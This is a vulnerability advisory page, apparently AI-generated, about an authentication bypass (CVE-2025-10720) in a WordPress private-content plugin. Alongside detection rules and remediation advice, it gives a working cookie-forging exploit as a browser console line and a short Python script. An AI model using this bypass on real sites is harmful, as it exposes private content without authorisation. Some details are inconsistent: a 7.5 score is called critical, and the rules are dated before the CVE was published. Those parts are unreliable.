☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-287
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-10720

CVE-2025-10720 Authentication Bypass in Wp private content plus
📅 PUBLISHED: 2025-10-13 09:37 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-10720 is a critical authentication bypass vulnerability in the WordPress plugin WP Private Content Plus (versions through 3.6.2). The plugin implements a global content protection feature that relies on a password. However, the access control mechanism is fundamentally flawed: it only checks for the presence of an unprotected client-side cookie. An unauthenticated attacker can completely bypass the password protection by manually setting the cookie value in their browser. This allows unauthorized access to all protected content without any authentication.

This vulnerability is particularly dangerous because it requires no special privileges, no user interaction, and can be exploited remotely over the network. The plugin is part of the WordPress ecosystem, and the flaw lies entirely within the plugin's code, not the underlying web server.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The supply chain risk is significant because:

  • The plugin is installed via the WordPress admin dashboard or directly from the repository.
  • No official patch has been released as of the latest analysis.
  • Users must manually monitor for updates or remove the plugin.
  • The vulnerability is trivial to exploit, making it a prime target for automated scanning and mass exploitation.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions or complex steps are required.
  • Privileges Required (PR): None – No authentication is needed.
  • User Interaction (UI): None – The victim does not need to perform any action.
  • Scope (S): Unchanged – The exploit does not affect other components.
  • Confidentiality (C): High – All protected content is exposed.
  • Integrity (I): None – Data cannot be modified.
  • Availability (A): None – The service remains available.

Threat Level: Critical. The ease of exploitation and the lack of a patch make this a high-priority vulnerability for immediate remediation.

Deep Dive & Mechanics

The WP Private Content Plus plugin provides a feature to password-protect all content on a WordPress site. The intended flow is:

  1. The site owner sets a global password.
  2. Visitors must enter this password to view protected content.
  3. Upon successful entry, the plugin sets a cookie to remember the visitor.

The Flaw: The plugin does not validate the cookie's origin or integrity. It only checks if the cookie exists and has any value. An attacker can simply set a cookie named wppcp_private_content_verified (or similar) with any arbitrary value (e.g., 1) in their browser. The plugin then treats the attacker as an authenticated user and serves all protected content.

Technical Details:

  • The cookie is set client-side without any server-side validation.
  • No cryptographic signature or hash is used to verify the cookie's authenticity.
  • The cookie name and expected value are predictable and documented in the plugin's source code.

Attack Flow:

  1. Attacker identifies a WordPress site using WP Private Content Plus.
  2. Attacker uses browser developer tools or a script to set the cookie wppcp_private_content_verified=1.
  3. Attacker refreshes the page and gains access to all protected content.

Vulnerable vs. Patched Code

Vulnerable Code (wp-private-content-plus/includes/class-wppcp-front.php):

// Vulnerable: Only checks if cookie is set, not its validity
if (isset($_COOKIE['wppcp_private_content_verified'])) {
    // Grant access to protected content
    $is_verified = true;
}

Patched Code (Hypothetical Fix):

// Patched: Validate cookie against server-stored hash
$expected_hash = get_option('wppcp_private_content_hash');
if (isset($_COOKIE['wppcp_private_content_verified']) && 
    $_COOKIE['wppcp_private_content_verified'] === $expected_hash) {
    // Grant access only if hash matches
    $is_verified = true;
}

Key Differences:

  • The vulnerable version trusts any client-side cookie.
  • The patched version would compare the cookie value against a server-generated, cryptographically secure hash.
  • The patched version also ensures the cookie cannot be forged without knowing the server's secret.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with WP Private Content Plus 3.6.2 or earlier installed and active.
  • The global content protection feature enabled with a password.

Exploitation Steps:

  1. Identify the target site (e.g., https://victim.com).
  2. Open browser developer tools (F12) and navigate to the Console or Application tab.
  3. Set the cookie manually:
    document.cookie = "wppcp_private_content_verified=1; path=/";
    
  4. Refresh the page. All protected content will now be visible.

Automated Exploit (Python):

import requests

target = "https://victim.com"
cookies = {"wppcp_private_content_verified": "1"}
response = requests.get(target, cookies=cookies)

if "protected content" in response.text:
    print("[+] Access granted to protected content")
else:
    print("[-] Exploit failed")

Blue Team (Detection & Response)

Detection Steps:

  1. Monitor for the presence of the wppcp_private_content_verified cookie in HTTP requests.
  2. Look for requests that include this cookie without a prior login or password submission.
  3. Check server logs for unusual access patterns to protected pages.

Response Actions:

  1. Immediately disable or remove the WP Private Content Plus plugin.
  2. Review access logs for any unauthorized access to protected content.
  3. Rotate any sensitive information that may have been exposed.
  4. Implement a Web Application Firewall (WAF) rule to block requests containing the suspicious cookie.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests containing the cookie wppcp_private_content_verified with any value.
  • Repeated access to protected URLs without a corresponding POST request to the password form.

Host IOCs:

  • Presence of the file wp-content/plugins/wp-private-content-plus/ on the server.
  • Log entries showing access to protected content from IPs that did not submit the password form.

File IOCs:

  • Plugin file: wp-private-content-plus/includes/class-wppcp-front.php (vulnerable version).

Detection Engineering

YARA Rule

rule CVE_2025_10720_WP_Private_Content_Plus {
    meta:
        description = "Detects vulnerable WP Private Content Plus plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-10720"
    strings:
        $vuln_cookie_check = "isset($_COOKIE['wppcp_private_content_verified'])" nocase
        $plugin_header = "WP Private Content Plus" nocase
    condition:
        $plugin_header and $vuln_cookie_check
}

Sigma Rule

title: CVE-2025-10720 - WP Private Content Plus Cookie Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with the wppcp_private_content_verified cookie indicating exploitation of CVE-2025-10720
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-cookie|contains: "wppcp_private_content_verified"
    condition: selection
falsepositives:
    - Legitimate users who have entered the correct password (unlikely due to cookie name)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10720 WP Private Content Plus Cookie Bypass"; flow:to_server; http.cookie; content:"wppcp_private_content_verified"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin: Deactivate and delete WP Private Content Plus until a patch is released.
  2. Implement a WAF rule: Block requests containing the wppcp_private_content_verified cookie.
  3. Review access logs: Check for any unauthorized access to protected content.

Long-term Fix:

  • The vendor must release a patched version that validates the cookie against a server-side secret.
  • Users should monitor the WordPress plugin repository for updates.

Workaround:

  • If the plugin cannot be removed, consider using a different content protection solution that does not rely solely on client-side cookies.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-10720/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.